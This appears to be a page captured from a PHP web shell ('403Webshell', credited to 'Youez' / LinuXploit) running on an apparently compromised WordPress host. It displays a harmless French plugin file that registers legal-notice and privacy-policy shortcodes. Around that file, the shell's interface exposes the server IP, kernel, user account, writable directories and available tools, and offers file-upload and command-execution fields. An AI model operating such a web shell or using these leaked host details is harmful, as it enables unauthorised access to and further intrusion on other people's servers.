403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaa/www/wp-content/plugins/ml-pc-plugin/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaa/www/wp-content/plugins/ml-pc-plugin/public/class-ml-pc-public.php
<?php
class ML_PC_Public
{
    // Méthode pour afficher les mentions légales
    public static function display_ml()
    {


        // Obtenez les informations des options (a placer en dehors de la fonction pour les utiliser dans la fonction pc ?)
        $creator = get_option('creator');
        $owner = get_option('owner');
        $responsable = get_option('responsable');
        $email = get_option('email');
        // $address = get_option('address');
        $address_street_name = get_option('address_street_name');
        $address_street_number = get_option('address_street_number');
        $address_city = get_option('address_city');
        $address_zip_code = get_option('address_zip_code');
        $host = get_option('host');
        $phone = get_option('phone');
        $url = get_option('url');
        $creator_url = get_option('creator-url');

        // Incluez le template avec les informations

        
        include plugin_dir_path(__FILE__) . 'templates/template-ml.php';
    }
    // Méthode pour afficher la politique de confidentialité
    public static function display_pc()
    {
        // Les informations seraient similaires à ci-dessus
        // Mais pour cet exemple, nous allons simplement inclure un template différent

        $creator = get_option('creator');
        $owner = get_option('owner');
        $responsable = get_option('responsable');
        $email = get_option('email');
        // $address = get_option('address');
        $address_street_number = get_option('address_street_number');
        $address_street_name = get_option('address_street_name');
        $address_city = get_option('address_city');
        $address_zip_code = get_option('address_zip_code');
        $host = get_option('host');
        $phone = get_option('phone');
        $url = get_option('url');
        $creator_url = get_option('creator-url');



        include plugin_dir_path(__FILE__) . 'templates/template-pc.php';
    }
}

// Enregistrer les shortcodes
add_shortcode('ml', array('ML_PC_Public', 'display_ml'));
add_shortcode('pc', array('ML_PC_Public', 'display_pc'));

Youez - 2016 - github.com/yon3zu
LinuXploit